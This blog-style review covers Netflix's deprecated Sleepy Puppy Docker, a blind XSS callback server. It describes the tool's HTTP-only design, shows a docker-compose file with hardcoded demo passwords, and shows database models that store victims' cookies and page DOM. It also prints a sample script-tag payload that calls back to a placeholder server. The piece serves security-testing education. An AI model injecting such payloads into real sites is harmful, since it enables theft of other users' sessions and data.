Back to Articles

Netflix's Sleepy Puppy Docker: Why This Deprecated XSS Hunter Works Only Over HTTP

[ View on GitHub ]

Netflix's Sleepy Puppy Docker: Why This Deprecated XSS Hunter Works Only Over HTTP

Hook

Netflix intentionally stripped HTTPS from their XSS detection tool—not because of lazy configuration, but as a calculated architecture decision to make malicious payloads fire more reliably across third-party websites.

Context

Before tools like Sleepy Puppy, security researchers hunting for stored cross-site scripting vulnerabilities faced a tedious manual process. You'd inject test payloads into web applications—comment forms, user profiles, support tickets—then manually revisit those pages hoping to see if your JavaScript executed. If the payload fired on a different page or for a different user (the hallmark of stored XSS), you'd miss it entirely unless you happened to be looking at the right place at the right time.

Netflix open-sourced Sleepy Puppy in 2015 to solve this blind spot in XSS testing. The tool acts as a centralized payload management and callback server: you inject uniquely-identified JavaScript payloads into target applications, and when those payloads execute anywhere, they phone home to Sleepy Puppy with details about the DOM, cookies, and user context. This Docker variant emerged to simplify deployment, packaging the Flask application, PostgreSQL database, and nginx reverse proxy into a turnkey testing environment that security teams could spin up in minutes rather than wrestling with manual installation steps.

Technical Insight

HTTP Requests

Proxy Pass

Payload Management

Generate XSS Payloads

Inject Payload

HTTP Callback

Log Detection

Store Results

Client Browser

Nginx Reverse Proxy

Port 80 HTTP

Sleepy Puppy Web

Flask Application

PostgreSQL

Database

Target Application

XSS Injection Site

System architecture — auto-generated

The architecture reflects a pragmatic approach to containerized security tooling. The docker-compose.yml orchestrates three services with a clear separation of concerns: PostgreSQL for persistent payload tracking, the Python Flask web application as the business logic layer, and nginx as the public-facing reverse proxy. What's immediately striking in the configuration is the deliberate HTTP-only setup:

services:
  nginx:
    build: nginx/
    ports:
      - "80:80"
    links:
      - sleepy-puppy-web:sleepy-puppy-web
  sleepy-puppy-web:
    build: sleepy-puppy/
    environment:
      POSTGRES_DB: sleepy_puppy
      POSTGRES_USER: sleepy_puppy  
      POSTGRES_PASSWORD: sleepy_puppy
    links:
      - postgres-server:postgres

Notice port 80 only—no 443, no SSL certificates, no TLS configuration. This isn't an oversight; it's central to how Sleepy Puppy payloads work. When you inject an XSS payload that needs to call back to your server, modern browsers enforce mixed-content policies: HTTPS sites block HTTP callbacks. If Sleepy Puppy ran over HTTPS with a self-signed certificate, every payload execution would trigger browser warnings and potentially block the callback entirely. The HTTP-only design means payloads can fire from HTTP sites without friction.

The payload generation strategy leverages protocol-relative URLs to work around this limitation somewhat gracefully. Instead of hardcoding http:// or https://, Sleepy Puppy generates payloads like <script src="//your-server/capture/abc123"></script>. The browser interprets // as "use the same protocol as the current page," which means the payload adapts to its environment—firing over HTTP from HTTP pages, and attempting HTTPS from HTTPS pages (though this still fails if your Sleepy Puppy instance isn't properly configured for SSL).

The Flask application itself uses a straightforward model-view architecture for managing payloads and captures. The database schema tracks each unique payload identifier, associates it with a testing campaign, and records every callback with rich context:

# Simplified representation of core models
class Payload(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    payload = db.Column(db.String(2048))  # The actual JS code
    url = db.Column(db.String(256))       # Unique callback URL
    notes = db.Column(db.Text)
    
class Capture(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    payload_id = db.Column(db.Integer, db.ForeignKey('payload.id'))
    uri = db.Column(db.String(1024))      # Where it fired
    cookies = db.Column(db.Text)          # Captured cookies
    dom = db.Column(db.Text)              # Page DOM
    user_agent = db.Column(db.String(512))
    referrer = db.Column(db.String(1024))

When a payload executes in a vulnerable application, it makes an asynchronous request back to Sleepy Puppy's capture endpoint, which creates a new Capture record linking back to the original Payload. Security testers can then review all captures through the web UI, seeing exactly where their test payloads fired, in what context, and with what user permissions—the holy grail for demonstrating the impact of stored XSS vulnerabilities.

The environment variable approach to configuration makes the Docker setup portable but dangerously insecure for anything beyond local testing. Hardcoded credentials like POSTGRES_PASSWORD: sleepy_puppy and the default admin password (admin/password) are explicitly documented as demo-only placeholders. The README warns against production use, but doesn't enforce any security hardening—there's no secrets management, no configuration validation, no warning system if you accidentally expose this to the internet with default credentials intact.

Gotcha

The HTTP-only architecture creates a fundamental limitation in modern security testing: most production websites now enforce HTTPS, and browsers increasingly block mixed-content scenarios where HTTPS pages load HTTP resources. This means if you inject a Sleepy Puppy payload into an HTTPS site, the callback will likely fail silently. You'll see the XSS execute in the DOM, but no capture record will appear in your Sleepy Puppy dashboard because the browser blocked the HTTP callback. The protocol-relative URL trick helps only if you're willing to set up proper SSL certificates for your Sleepy Puppy instance—at which point you've negated the simplicity that made this Docker setup appealing in the first place.

More critically, this repository is explicitly deprecated and unmaintained. The last meaningful commit predates modern Docker security best practices, container scanning tools flag outdated base images, and dependency vulnerabilities have accumulated. You're building security testing infrastructure on a foundation that itself has security issues—an uncomfortable irony. The original Sleepy Puppy project also appears stagnant, suggesting Netflix has moved on to other internal tools. Using this in 2024 means accepting you're working with abandoned software that won't receive updates, won't get bug fixes, and won't adapt to evolving browser security models like Content Security Policy Level 3 or Trusted Types.

Verdict

Use if: You're teaching a workshop about XSS payload management concepts and need a quick visual demonstration of centralized callback architecture, or you're doing historical research on Netflix's open-source security tooling and want to understand their approach circa 2015-2016. The containerized setup does make experimentation trivially easy for learning purposes. Skip if: You need production-grade security testing infrastructure, you're testing modern HTTPS-enforced applications, or you want actively maintained tools with community support. The HTTP-only limitation, deprecated status, and hardcoded insecure defaults make this unsuitable for serious security work. Look instead at XSS Hunter Express for modern blind XSS detection, or Burp Suite Collaborator if you need enterprise-grade out-of-band interaction testing with proper SSL support and ongoing maintenance.

// ADD TO YOUR README
[![Featured on Starlog](https://starlog.is/api/badge/cybersecurity/netflix-sleepy-puppy-docker.svg)](https://starlog.is/api/badge-click/cybersecurity/netflix-sleepy-puppy-docker)